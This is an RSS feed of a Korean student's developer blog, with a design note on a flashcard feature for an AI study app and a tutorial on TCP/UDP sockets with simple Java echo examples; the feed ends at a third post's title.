<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>eunseo_song.log</title>
        <link>https://velog.io/</link>
        <description>개발자 대학생🌱</description>
        <lastBuildDate>Sat, 07 Feb 2026 12:58:09 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>eunseo_song.log</title>
            <url>https://velog.velcdn.com/images/eunseo_song/profile/1fae2f30-3427-4123-83aa-8c22647563e7/image.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. eunseo_song.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/eunseo_song" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[[UnivAI 엔지니어링 노트] 플래시카드 학습 기능 설계]]></title>
            <link>https://velog.io/@eunseo_song/UnivAI-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4%EB%A7%81-%EB%85%B8%ED%8A%B8-%ED%94%8C%EB%9E%98%EC%8B%9C%EC%B9%B4%EB%93%9C-%ED%95%99%EC%8A%B5-%EA%B8%B0%EB%8A%A5-%EC%84%A4%EA%B3%84</link>
            <guid>https://velog.io/@eunseo_song/UnivAI-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4%EB%A7%81-%EB%85%B8%ED%8A%B8-%ED%94%8C%EB%9E%98%EC%8B%9C%EC%B9%B4%EB%93%9C-%ED%95%99%EC%8A%B5-%EA%B8%B0%EB%8A%A5-%EC%84%A4%EA%B3%84</guid>
            <pubDate>Sat, 07 Feb 2026 12:58:09 GMT</pubDate>
            <description><![CDATA[<h2 id="📋-배경">📋 배경</h2>
<p>사수에게 다음과 같은 요청을 받았다.</p>
<blockquote>
<p>&quot;다양한 플래시카드 앱을 체험해보고, UnivAI에 맞는 플래시카드 기능을 만들어주세요.&quot;</p>
</blockquote>
<hr>
<h2 id="1️⃣-문제-정의">1️⃣ 문제 정의</h2>
<p>여러 플래시카드 앱(Anki, Quizlet, RemNote 등)을 직접 체험하면서 정리한 질문들:</p>
<ul>
<li><strong>기존 퀴즈 기능과 차별점은 무엇인가?</strong> — 퀴즈는 채점, 플래시카드는 자기 평가(알아요/몰라요)</li>
<li><strong>카드 유형은 어떻게 나눌 것인가?</strong> — 용어→설명? 설명→용어? 둘 다?</li>
<li><strong>학습 흐름은?</strong> — 생성 → 학습 → 결과 분석 → 복습</li>
<li><strong>AI 튜터와 어떻게 연동할 것인가?</strong> — 카드 내용 기반 질문 전달</li>
</ul>
<hr>
<h2 id="2️⃣-현황-파악--기존-퀴즈-탭-구조-분석">2️⃣ 현황 파악 — 기존 퀴즈 탭 구조 분석</h2>
<p>플래시카드 탭을 새로 만들기 전에, 기존 퀴즈 탭의 아키텍처를 분석했다.</p>
<table>
<thead>
<tr>
<th>구성 요소</th>
<th>퀴즈 탭</th>
<th>비고</th>
</tr>
</thead>
<tbody><tr>
<td>생성 API</td>
<td><code>generateQuizWithGemini</code> (SSE 스트리밍)</td>
<td>Gemini API + structured JSON</td>
</tr>
<tr>
<td>결과 분석</td>
<td><code>submitQuizResults</code> (Gemini 분석)</td>
<td>강점/약점/학습가이드</td>
</tr>
<tr>
<td>데이터 저장</td>
<td>Firestore <code>quiz_papers</code> 서브컬렉션</td>
<td>CRUD + 결과 저장</td>
</tr>
<tr>
<td>UI 구조</td>
<td>QuizHome → QuizQuestion → QuizResults</td>
<td>3단계 뷰 전환</td>
</tr>
</tbody></table>
<p><strong>결론: 퀴즈 탭 패턴을 최대한 미러링하면 일관성 유지 + 개발 속도 향상</strong></p>
<hr>
<h2 id="3️⃣-설계-결정">3️⃣ 설계 결정</h2>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/77130ca0-ed13-421f-9164-077cc0d86fab/image.png" alt="">
<img src="https://velog.velcdn.com/images/eunseo_song/post/8c8ab5b9-1802-4ab0-ba18-90e4c7763459/image.png" alt=""></p>
<h3 id="결정-1-카드-유형">결정 1: 카드 유형</h3>
<table>
<thead>
<tr>
<th>옵션</th>
<th>장점</th>
<th>단점</th>
</tr>
</thead>
<tbody><tr>
<td><code>term_to_desc</code>만</td>
<td>단순</td>
<td>학습 효과 제한</td>
</tr>
<tr>
<td><code>desc_to_term</code>만</td>
<td>역방향 사고</td>
<td>단조로움</td>
</tr>
<tr>
<td>둘 다 혼합 (50/50)</td>
<td>다양한 학습 효과</td>
<td>프롬프트 복잡도 증가</td>
</tr>
</tbody></table>
<p><strong>→ 두 유형 혼합.</strong> 앞면에 용어→뒷면에 설명, 앞면에 설명→뒷면에 용어를 균등 배합하기로 했다.</p>
<h3 id="결정-2-학습-플로우">결정 2: 학습 플로우</h3>
<table>
<thead>
<tr>
<th>단계</th>
<th>화면</th>
<th>사용자 액션</th>
</tr>
</thead>
<tbody><tr>
<td>1. 홈</td>
<td><code>FlashCardHome</code></td>
<td>생성 / 기존 카드 선택 / 설정</td>
</tr>
<tr>
<td>2. 학습</td>
<td><code>FlashCardStudy</code></td>
<td>카드 넘기기 + 알아요/몰라요</td>
</tr>
<tr>
<td>3. 결과</td>
<td><code>FlashCardResults</code></td>
<td>분석 확인 / 재학습 / 오답 복습</td>
</tr>
</tbody></table>
<h3 id="결정-3-카드-인터랙션">결정 3: 카드 인터랙션</h3>
<table>
<thead>
<tr>
<th>옵션</th>
<th>장점</th>
<th>단점</th>
</tr>
</thead>
<tbody><tr>
<td>스와이프 (Tinder식)</td>
<td>직관적</td>
<td>데스크톱 UX 약함</td>
</tr>
<tr>
<td>카드 뒤집기 + 버튼</td>
<td>데스크톱/모바일 모두 적합</td>
<td>구현 복잡도 약간 증가</td>
</tr>
<tr>
<td>리스트형</td>
<td>단순</td>
<td>플래시카드 느낌 부족</td>
</tr>
</tbody></table>
<p><strong>→ CSS 3D 카드 뒤집기 + 키보드 지원</strong></p>
<ul>
<li>스페이스바/클릭: 카드 뒤집기</li>
<li>← 화살표: 몰라요 (Don&#39;t Know)</li>
<li>→ 화살표: 알아요 (Know)</li>
</ul>
<h3 id="결정-4-레이아웃--ai-튜터-연동">결정 4: 레이아웃 — AI 튜터 연동</h3>
<table>
<thead>
<tr>
<th>환경</th>
<th>레이아웃</th>
</tr>
</thead>
<tbody><tr>
<td>데스크톱</td>
<td>플래시카드(좌) + AI 튜터(우) 분할</td>
</tr>
<tr>
<td>모바일</td>
<td>플래시카드 전체 화면, AI 튜터는 탭 전환</td>
</tr>
</tbody></table>
<p>카드에 &quot;AI 튜터에게 질문&quot; 버튼을 두어, 카드 앞/뒷면 내용을 AI 튜터에 자동 전달하도록 설계했다.</p>
<h3 id="결정-5-스트리밍-vs-일괄-생성">결정 5: 스트리밍 vs 일괄 생성</h3>
<table>
<thead>
<tr>
<th>옵션</th>
<th>장점</th>
<th>단점</th>
</tr>
</thead>
<tbody><tr>
<td>일괄 생성 (응답 대기)</td>
<td>단순</td>
<td>20장 생성에 체감 대기 김</td>
</tr>
<tr>
<td>SSE 스트리밍</td>
<td>카드가 하나씩 나타나는 UX</td>
<td>증분 JSON 파서 필요</td>
</tr>
</tbody></table>
<p><strong>→ SSE 스트리밍.</strong> 기존 퀴즈와 동일한 패턴이다. 백엔드에서 Gemini <code>generateContentStream</code>으로 JSON 청크를 전송하고, 프론트엔드에서 증분 파싱하여 카드가 하나씩 나타나도록 구현했다.</p>
<h3 id="결정-6-카드-수와-제한">결정 6: 카드 수와 제한</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>값</th>
<th>근거</th>
</tr>
</thead>
<tbody><tr>
<td>기본 카드 수</td>
<td>20장</td>
<td>Quizlet 기본값 참고</td>
</tr>
<tr>
<td>최대 카드 수</td>
<td>60장</td>
<td>토큰 제한 + 학습 효율</td>
</tr>
<tr>
<td>최소 카드 수</td>
<td>1장</td>
<td>커스텀 옵션</td>
</tr>
</tbody></table>
<hr>
<h2 id="4️⃣-아키텍처">4️⃣ 아키텍처</h2>
<pre><code>프론트엔드                            백엔드 (Firebase Functions)
──────────────────────────────────    ──────────────────────────────
FlashCardView (오케스트레이터)
  ├─ FlashCardHome (홈/목록)          generateFlashcardsWithGemini
  ├─ FlashCardStudy (학습)              ├─ PDF → base64 → Gemini API
  ├─ FlashCardResults (결과)            └─ SSE 스트리밍 응답
  ├─ FlashCardCard (카드 UI)
  └─ CustomizeFlashCardModal          submitFlashCardResults
                                        └─ Gemini 기반 학습 분석
FlashCardService (API 클라이언트)
  ├─ SSE 스트리밍 + 증분 JSON 파서
  └─ 결과 제출

FirestoreService (데이터 영속화)
  └─ flashcard_papers 서브컬렉션</code></pre><hr>
<h2 id="5️⃣-엣지-케이스-검증">5️⃣ 엣지 케이스 검증</h2>
<table>
<thead>
<tr>
<th>시나리오</th>
<th>상황</th>
<th>해결</th>
</tr>
</thead>
<tbody><tr>
<td>✅ 정상 플로우</td>
<td>PDF 업로드 → 생성 → 학습 → 결과</td>
<td>—</td>
</tr>
<tr>
<td>✅ 스트리밍 중 탭 이동</td>
<td>생성 중 다른 탭으로 이동</td>
<td><code>streamingPaperIdRef</code>로 outdated 업데이트 차단</td>
</tr>
<tr>
<td>✅ 재학습</td>
<td>결과에서 &quot;다시 학습&quot;</td>
<td>카드 셔플 후 학습 화면 복귀</td>
</tr>
<tr>
<td>✅ 오답 복습</td>
<td>결과에서 &quot;모르는 카드만 복습&quot;</td>
<td><code>perCard.isKnown === false</code> 필터링</td>
</tr>
<tr>
<td>✅ YouTube 지원</td>
<td>영상 자막 기반 생성</td>
<td><code>transcript</code> 파라미터 분기</td>
</tr>
<tr>
<td>⚠️ Firestore 권한 없음</td>
<td>보안 규칙 미배포</td>
<td>Firestore 저장 실패 시 non-blocking 처리</td>
</tr>
<tr>
<td>⚠️ 함수 미배포</td>
<td>로컬 개발 시 API 미도달</td>
<td>에러 메시지 UI 표시 + 배포 후 정상 동작</td>
</tr>
<tr>
<td>✅ 샘플 파일</td>
<td>비로그인 체험 시 생성 클릭</td>
<td>로그인 모달 표시</td>
</tr>
</tbody></table>
<hr>
<h2 id="6️⃣-퀴즈-vs-플래시카드-비교">6️⃣ 퀴즈 vs 플래시카드 비교</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>퀴즈</th>
<th>플래시카드</th>
</tr>
</thead>
<tbody><tr>
<td>평가 방식</td>
<td>객관식/주관식 채점</td>
<td>자기 평가 (알아요/몰라요)</td>
</tr>
<tr>
<td>카드 유형</td>
<td>multiple_choice, true_false, free_response</td>
<td>term_to_desc, desc_to_term</td>
</tr>
<tr>
<td>인터랙션</td>
<td>답 선택 → 다음</td>
<td>뒤집기 → 판단 → 다음</td>
</tr>
<tr>
<td>결과 분석</td>
<td>점수 + 문제별 피드백</td>
<td>아는/모르는 비율 + 카드별 피드백</td>
</tr>
<tr>
<td>복습</td>
<td>틀린 문제 재풀기</td>
<td>모르는 카드만 재학습</td>
</tr>
</tbody></table>
<hr>
<h2 id="7️⃣-회고">7️⃣ 회고</h2>
<h3 id="기존-패턴을-미러링한-이유">기존 패턴을 미러링한 이유</h3>
<p>퀴즈 탭은 이미 검증된 구조(SSE 스트리밍, Firestore CRUD, 결과 분석)였다. 동일 패턴을 사용하면 코드 일관성을 유지할 수 있고, 리뷰어가 이해하기 쉬우며, CSS 클래스 재활용으로 UI 통일성도 확보할 수 있었다.</p>
<h3 id="로컬-테스트에서-발견한-이슈">로컬 테스트에서 발견한 이슈</h3>
<ul>
<li><strong>Firestore 권한 오류</strong> — <code>flashcard_papers</code> 컬렉션 보안 규칙 미배포 → Firestore 저장을 non-blocking 처리</li>
<li><strong>Functions 미배포</strong> — 로컬 dev 서버에서 에뮬레이터 URL 호출 시 에뮬레이터 미실행 → 에러 메시지 표시 UI 추가</li>
<li><strong>UI 정렬</strong> — 초기 컨테이너 구조가 퀴즈와 달라 가로 폭이 넓었음 → 퀴즈와 동일한 컨테이너 구조로 변경</li>
</ul>
<h3 id="배포-시-필요한-작업">배포 시 필요한 작업</h3>
<ul>
<li>Firebase Functions 배포: <code>generateFlashcardsWithGemini</code>, <code>submitFlashCardResults</code></li>
<li>Firestore 보안 규칙에 <code>flashcard_papers</code> 컬렉션 추가</li>
<li>(선택) SharedAICache에 플래시카드 데이터 연동</li>
</ul>
<hr>
<h2 id="📌-결론">📌 결론</h2>
<p>기존 퀴즈 탭의 검증된 아키텍처를 기반으로 플래시카드 기능을 설계함으로써, 일관된 코드 패턴과 UX를 유지하면서도 플래시카드 고유의 학습 경험(카드 뒤집기, 자기 평가, 복습)을 제공할 수 있었다. 로컬 테스트에서 발견한 Firestore/Functions 이슈는 non-blocking 처리와 에러 UI로 대응하고, 실제 동작은 함수 배포 후 검증 예정이다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Network] Socket 뜯어보기]]></title>
            <link>https://velog.io/@eunseo_song/Network-Socket-%EB%9C%AF%EC%96%B4%EB%B3%B4%EA%B8%B0</link>
            <guid>https://velog.io/@eunseo_song/Network-Socket-%EB%9C%AF%EC%96%B4%EB%B3%B4%EA%B8%B0</guid>
            <pubDate>Wed, 04 Feb 2026 13:33:35 GMT</pubDate>
            <description><![CDATA[<h1 id="🔌-socket이-무엇인지-알아보자">🔌 Socket이 무엇인지 알아보자</h1>
<blockquote>
<p>Socket과 TCP/UDP 소켓의 기본 구조를 알아봅니다.</p>
</blockquote>
<hr>
<h2 id="1-socket이란">1. Socket이란?</h2>
<p>소켓(Socket)은 네트워크를 통한 입출력을 위해 사용자에게 필요한 수단을 제공하는 <strong>응용 프로토콜 인터페이스</strong>입니다.
<img src="https://velog.velcdn.com/images/eunseo_song/post/005716b0-42a8-495f-8052-44de95143bda/image.png" alt=""></p>
<h3 id="인터페이스--socket">인터페이스 == Socket</h3>
<ul>
<li><strong>인터페이스</strong>란 서로 다른 두 개의 시스템, 장치 사이에서 정보나 신호를 주고받는 경우의 접점이나 경계면을 의미합니다.</li>
<li>네트워크에서의 인터페이스가 바로 <strong>Socket</strong>입니다.</li>
<li>OSI 모델에서 <strong>Transport Layer(4계층)</strong> 와 <strong>Application Layer(5계층)</strong> 사이의 연결 역할을 합니다.</li>
<li>소켓을 활용한 네트워크 응용 프로그램을 통해 네트워크상에서 데이터를 송/수신합니다.
<img src="https://velog.velcdn.com/images/eunseo_song/post/81032ed1-b8d3-4bbe-a2c7-5139f1ea5792/image.png" alt=""></li>
</ul>
<h3 id="네트워크-입출력을-위한-5가지-요소">네트워크 입/출력을 위한 5가지 요소</h3>
<table>
<thead>
<tr>
<th>요소</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><strong>프로토콜(Protocol)</strong></td>
<td>4계층에서 어떤 프로토콜을 사용하는지 (TCP/UDP)</td>
</tr>
<tr>
<td><strong>소스 IP 주소</strong></td>
<td>데이터를 보내는 호스트의 IP</td>
</tr>
<tr>
<td><strong>소스 포트 번호</strong></td>
<td>데이터를 보내는 프로세스 식별자</td>
</tr>
<tr>
<td><strong>목적지 IP 주소</strong></td>
<td>데이터를 받는 호스트의 IP</td>
</tr>
<tr>
<td><strong>목적지 포트 번호</strong></td>
<td>데이터를 받는 프로세스 식별자</td>
</tr>
</tbody></table>
<blockquote>
<p>💡 포트 번호는 네트워크에서 <strong>프로세스들의 식별자</strong>라고 생각하면 됩니다.</p>
</blockquote>
<hr>
<h2 id="2-포트port">2. 포트(Port)</h2>
<p>호스트 내에 실행되고 있는 <strong>프로세스(Process)를 구분 짓기 위한 16비트의 논리적 할당</strong>입니다.
<img src="https://velog.velcdn.com/images/eunseo_song/post/47abe06e-c9e0-471e-be37-6edbf5a2a4c6/image.png" alt=""></p>
<ul>
<li><strong>값의 범위</strong>: 0 ~ 65535</li>
<li>통신의 주체는 <strong>프로세스와 프로세스</strong> 사이에서 이루어집니다.</li>
</ul>
<h3 id="포트-번호가-겹친다면">포트 번호가 겹친다면?</h3>
<ol>
<li>나중에 실행한 프로세스가 죽을 수 있음</li>
<li>보통은 프로세스 둘 다 죽음</li>
</ol>
<h3 id="well-known-port">Well-Known Port</h3>
<p>TCP 또는 UDP에서 <strong>IANA에 의해 할당된 0번 ~ 1023번</strong>까지의 포트입니다.</p>
<table>
<thead>
<tr>
<th>포트 번호</th>
<th>서비스</th>
</tr>
</thead>
<tbody><tr>
<td>20, 21</td>
<td>FTP</td>
</tr>
<tr>
<td>22</td>
<td>SSH</td>
</tr>
<tr>
<td>23</td>
<td>Telnet</td>
</tr>
<tr>
<td>25</td>
<td>SMTP</td>
</tr>
<tr>
<td>53</td>
<td>DNS</td>
</tr>
<tr>
<td>80</td>
<td>HTTP</td>
</tr>
<tr>
<td>443</td>
<td>HTTPS</td>
</tr>
</tbody></table>
<hr>
<h2 id="3-데이터의-전송-순서-endian">3. 데이터의 전송 순서 (Endian)</h2>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/a87b2c2e-dbfc-4c78-88f9-82321bbc1624/image.png" alt=""></p>
<h3 id="big-endian-vs-little-endian">Big Endian vs Little Endian</h3>
<table>
<thead>
<tr>
<th>방식</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Big Endian</strong></td>
<td>상위 바이트의 값을 <strong>작은 번지수</strong>에 저장</td>
</tr>
<tr>
<td><strong>Little Endian</strong></td>
<td>상위 바이트의 값을 <strong>큰 번지수</strong>에 저장</td>
</tr>
</tbody></table>
<h3 id="호스트-바이트-순서-vs-네트워크-바이트-순서">호스트 바이트 순서 vs 네트워크 바이트 순서</h3>
<ul>
<li><strong>호스트 바이트 순서</strong>: CPU별 데이터 저장 방식 (대부분 Little Endian - x86, AMD, Intel 계열)</li>
<li><strong>네트워크 바이트 순서</strong>: 통일된 데이터 송수신 기준 (<strong>Big Endian</strong> 사용)</li>
</ul>
<blockquote>
<p>⚠️ 네트워크 통신 시 바이트 순서 변환이 필요합니다!</p>
</blockquote>
<hr>
<h2 id="4-연결-지향형-소켓-tcp-소켓-sock_stream">4. 연결 지향형 소켓 (TCP 소켓, SOCK_STREAM)</h2>
<h3 id="sock_stream-소켓-특성">SOCK_STREAM 소켓 특성</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/e511067c-b504-4397-a9b4-fa2c2d761910/image.png" alt=""></p>
<ul>
<li><strong>스트림 방식</strong>의 소켓 생성 (UNIX 파이프 개념과 동일)</li>
<li><strong>메시지 경계가 유지되지 않음</strong>: 속도 조절, 네트워크 흐름 조절에 의해 서로 다른 메시지 크기를 가질 수 있음</li>
<li><strong>전달된 순서대로 수신됨</strong> (순서 보장)</li>
<li><strong>전송된 모든 데이터는 에러 없이 도달</strong> (신뢰성 보장)</li>
<li>세부 기능 조절은 TCP(4계층)에서 이루어짐</li>
</ul>
<blockquote>
<p>💡 Socket의 역할: Application(5계층)에서 TCP로 보내달라고 Transport(4계층)에게 요청하기</p>
</blockquote>
<hr>
<h2 id="5-tcp-소켓-프로그래밍-기본-구조">5. TCP 소켓 프로그래밍 기본 구조</h2>
<blockquote>
<p>TCP Client가 n개 들어오면 Socket은 <strong>n+1개</strong> 존재합니다. (listen 소켓 1개 + 통신용 n개)</p>
</blockquote>
<h3 id="📌-tcp-통신-흐름">📌 TCP 통신 흐름</h3>
<pre><code>[Client]                              [Server]
   │                                     │
   │  socket() - 소켓 생성                 │  socket() - 소켓 생성
   │                                     │  bind() - IP/Port 바인딩
   │                                     │  listen() - 연결 대기
   │                                     │
   │ ─────── connect() ───────────────▶  │  accept() - 연결 수락
   │ ◀───── 3-way handshake ──────────▶  │  (새 소켓 생성)
   │                                     │
   │ ◀────── read/write ───────────────▶ │  (데이터 송수신)
   │                                     │
   │  close()                            │  close() (통신 소켓)
   │                                     │  close() (listen 소켓)</code></pre><p><img src="https://velog.velcdn.com/images/eunseo_song/post/c006b036-ef2b-4dbb-b276-effff3712393/image.png" alt=""></p>
<h3 id="단계별-설명">단계별 설명</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/39ee4c49-2139-455d-ab02-a19f5dc84a2b/image.png" alt=""></p>
<h4 id="1️⃣-client-연결-준비-단계">1️⃣ Client 연결 준비 단계</h4>
<ul>
<li><code>socket()</code>: 소켓 생성</li>
<li><code>address</code>: 통신을 요청할 <strong>상대방(서버)의 주소</strong> 설정</li>
</ul>
<h4 id="2️⃣-server-연결-준비-단계">2️⃣ Server 연결 준비 단계</h4>
<ul>
<li><code>socket()</code>: 소켓 생성</li>
<li><code>address</code>: <strong>자신의 IP 주소와 Port 번호</strong> 설정 (누가 들어올지 모르니 내 정보만 설정)</li>
<li><code>bind()</code>: IP와 Port 번호를 <strong>OS에게 알려주는 절차</strong> ⭐ 매우 중요!</li>
<li><code>listen()</code>: Client의 접속 요청을 <strong>대기하는 상태</strong></li>
</ul>
<h4 id="3️⃣-서비스-처리-단계">3️⃣ 서비스 처리 단계</h4>
<ul>
<li><code>connect()</code>: Client가 listen 중인 Server에게 <strong>연결 요청</strong></li>
<li><code>accept()</code>: Server가 새로운 소켓을 만들어 Client와 <strong>데이터 송수신 준비</strong></li>
<li><code>read()/write()</code>: 양측 모두 데이터 <strong>송수신</strong><ul>
<li>read == receive</li>
<li>write == send</li>
</ul>
</li>
<li><code>close()</code>: Client가 먼저 소켓 종료 → Server도 통신 소켓 종료</li>
</ul>
<h4 id="4️⃣-서버-종료-단계">4️⃣ 서버 종료 단계</h4>
<ul>
<li><code>close()</code>: listen 소켓까지 종료</li>
</ul>
<h3 id="3-way-handshaking">3-Way Handshaking</h3>
<p>TCP 연결 수립 과정 (connect ~ accept 구간)</p>
<pre><code>Client                    Server
   │                         │
   │ ──── SYN ─────────────▶ │
   │ ◀─── SYN + ACK ──────── │
   │ ──── ACK ─────────────▶ │
   │                         │
   │     연결 수립 완료          │</code></pre><p><img src="https://velog.velcdn.com/images/eunseo_song/post/127d5af3-de96-42fe-bba9-7870595f058d/image.png" alt=""></p>
<hr>
<h2 id="6-java-tcp-소켓-예제">6. Java TCP 소켓 예제</h2>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/65af0c59-9cd7-440c-8683-edaf8af1888a/image.png" alt=""></p>
<h3 id="tcp-client">TCP Client</h3>
<pre><code class="language-java">// 1. 사용자 입력을 위한 BufferedReader 생성
BufferedReader inFromUser = new BufferedReader(new InputStreamReader(System.in));

// 2. 서버 연결 (hostname: 서버 IP, 6789: 포트 번호)
Socket clientSocket = new Socket(&quot;hostname&quot;, 6789);

// 3. 서버로 데이터 전송
DataOutputStream outToServer = new DataOutputStream(clientSocket.getOutputStream());
String sentence = inFromUser.readLine();
outToServer.writeBytes(sentence + &#39;\n&#39;);

// 4. 서버로부터 응답 수신
BufferedReader inFromServer = new BufferedReader(
    new InputStreamReader(clientSocket.getInputStream()));
String modifiedSentence = inFromServer.readLine();

// 5. 소켓 종료
clientSocket.close();</code></pre>
<h3 id="tcp-server">TCP Server</h3>
<pre><code class="language-java">// 1. ServerSocket 생성 및 바인딩 (포트 6789)
ServerSocket welcomeSocket = new ServerSocket(6789);

while (true) {
    // 2. 클라이언트 연결 대기 및 수락 (새 소켓 생성)
    Socket connectionSocket = welcomeSocket.accept();

    // 3. 클라이언트로부터 데이터 수신
    BufferedReader inFromClient = new BufferedReader(
        new InputStreamReader(connectionSocket.getInputStream()));
    String clientSentence = inFromClient.readLine();

    // 4. 대문자 변환 후 클라이언트에게 전송
    DataOutputStream outToClient = new DataOutputStream(
        connectionSocket.getOutputStream());
    String capitalizedSentence = clientSentence.toUpperCase() + &#39;\n&#39;;
    outToClient.writeBytes(capitalizedSentence);
}</code></pre>
<hr>
<h2 id="7-비연결-지향형-소켓-udp-소켓-sock_dgram">7. 비연결 지향형 소켓 (UDP 소켓, SOCK_DGRAM)</h2>
<h3 id="sock_dgram-소켓-특성">SOCK_DGRAM 소켓 특성</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/37fb0432-aada-416b-b213-92bd4f8a3820/image.png" alt=""></p>
<ul>
<li><strong>데이터그램 방식</strong>의 소켓 생성</li>
<li>개별적으로 주소가 쓰여진 <strong>패킷 단위 전송</strong></li>
<li><strong>비연결형</strong> 서비스</li>
</ul>
<table>
<thead>
<tr>
<th>특성</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>순서 보장 ❌</td>
<td>패킷은 전달된 순서대로 수신되지 않음</td>
</tr>
<tr>
<td>신뢰성 ❌</td>
<td>에러 복구를 하지 않음</td>
</tr>
<tr>
<td>크기 제한 ⭕</td>
<td>데이터그램 패킷의 크기가 <strong>고정</strong></td>
</tr>
<tr>
<td>Pipeline ❌</td>
<td>TCP와 다르게 파이프라인 불가능</td>
</tr>
</tbody></table>
<h3 id="tcp-vs-udp-비교">TCP vs UDP 비교</h3>
<table>
<thead>
<tr>
<th>구분</th>
<th>TCP</th>
<th>UDP</th>
</tr>
</thead>
<tbody><tr>
<td>연결</td>
<td>연결 지향 (3-way handshake)</td>
<td>비연결</td>
</tr>
<tr>
<td>신뢰성</td>
<td>보장</td>
<td>미보장</td>
</tr>
<tr>
<td>순서</td>
<td>보장</td>
<td>미보장</td>
</tr>
<tr>
<td>속도</td>
<td>상대적으로 느림</td>
<td>빠름</td>
</tr>
<tr>
<td>용도</td>
<td>웹, 이메일, 파일 전송</td>
<td>스트리밍, 게임, DNS</td>
</tr>
</tbody></table>
<hr>
<h2 id="8-udp-소켓-프로그래밍-기본-구조">8. UDP 소켓 프로그래밍 기본 구조</h2>
<pre><code>[Client]                              [Server]
   │                                     │
   │  socket() - 소켓 생성                 │  socket() - 소켓 생성
   │                                     │  bind() - IP/Port 바인딩
   │                                     │
   │ ─────── sendto() ─────────────────▶ │  recvfrom()
   │ ◀────── recvfrom() ──────────────── │  sendto()
   │                                     │
   │  close()                            │  close()</code></pre><blockquote>
<p>💡 UDP는 <strong>connect(), accept()가 없습니다!</strong> 바로 데이터를 보내고 받습니다.</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/3da460bc-7142-4969-9aef-9f535282b2a7/image.png" alt=""></p>
<hr>
<h2 id="9-java-udp-소켓-예제">9. Java UDP 소켓 예제</h2>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/86005535-3cb8-4f04-b2b7-3a9a6939f8b8/image.png" alt=""></p>
<h3 id="udp-client">UDP Client</h3>
<pre><code class="language-java">// 1. DatagramSocket 생성
DatagramSocket clientSocket = new DatagramSocket();

// 2. 서버 주소 설정
InetAddress IPAddress = InetAddress.getByName(&quot;hostname&quot;);

// 3. 전송할 데이터 준비
byte[] sendData = new byte[1024];
String sentence = inFromUser.readLine();
sendData = sentence.getBytes();

// 4. 패킷 생성 및 전송 (데이터, 길이, IP, 포트)
DatagramPacket sendPacket = new DatagramPacket(
    sendData, sendData.length, IPAddress, 9876);
clientSocket.send(sendPacket);

// 5. 응답 수신
byte[] receiveData = new byte[1024];
DatagramPacket receivePacket = new DatagramPacket(receiveData, receiveData.length);
clientSocket.receive(receivePacket);

// 6. 소켓 종료
clientSocket.close();</code></pre>
<h3 id="udp-server">UDP Server</h3>
<pre><code class="language-java">// 1. DatagramSocket 생성 및 포트 바인딩
DatagramSocket serverSocket = new DatagramSocket(9876);

// 2. 수신 버퍼 준비 (경계 단위 고정)
byte[] receiveData = new byte[1024];
byte[] sendData = new byte[1024];

while (true) {
    // 3. 데이터 수신 대기
    DatagramPacket receivePacket = new DatagramPacket(receiveData, receiveData.length);
    serverSocket.receive(receivePacket);  // 연결 없이 바로 receive

    String sentence = new String(receivePacket.getData());

    // 4. 클라이언트 정보 추출
    InetAddress IPAddress = receivePacket.getAddress();
    int port = receivePacket.getPort();

    // 5. 대문자 변환 후 응답 전송
    String capitalizedSentence = sentence.toUpperCase();
    sendData = capitalizedSentence.getBytes();

    DatagramPacket sendPacket = new DatagramPacket(
        sendData, sendData.length, IPAddress, port);
    serverSocket.send(sendPacket);
}</code></pre>
<hr>
<h2 id="📚-핵심-정리">📚 핵심 정리</h2>
<table>
<thead>
<tr>
<th>구분</th>
<th>TCP (SOCK_STREAM)</th>
<th>UDP (SOCK_DGRAM)</th>
</tr>
</thead>
<tbody><tr>
<td>연결 방식</td>
<td>연결 지향</td>
<td>비연결</td>
</tr>
<tr>
<td>데이터 단위</td>
<td>스트림 (경계 없음)</td>
<td>데이터그램 (경계 있음)</td>
</tr>
<tr>
<td>순서 보장</td>
<td>⭕</td>
<td>❌</td>
</tr>
<tr>
<td>신뢰성</td>
<td>⭕</td>
<td>❌</td>
</tr>
<tr>
<td>서버 소켓 수</td>
<td>n+1개 (Client n개 기준)</td>
<td>1개</td>
</tr>
<tr>
<td>주요 메서드</td>
<td>connect, accept, listen</td>
<td>sendto, recvfrom</td>
</tr>
</tbody></table>
<hr>
<h2 id="🔗-참고">🔗 참고</h2>
<ul>
<li><a href="https://docs.oracle.com/javase/tutorial/networking/sockets/">Oracle Java Socket Documentation</a></li>
<li><a href="https://www.yes24.com/Product/Goods/59172305">TCP/IP 소켓 프로그래밍</a>![]</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[UnivAI 엔지니어링 노트] 비회원 PDF 체험 기능 - 기술 구현 문서]]></title>
            <link>https://velog.io/@eunseo_song/UnivAI-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4%EB%A7%81-%EB%85%B8%ED%8A%B8-%EB%B9%84%ED%9A%8C%EC%9B%90-PDF-%EC%B2%B4%ED%97%98-%EA%B8%B0%EB%8A%A5-%EA%B8%B0%EC%88%A0-%EA%B5%AC%ED%98%84-%EB%AC%B8%EC%84%9C</link>
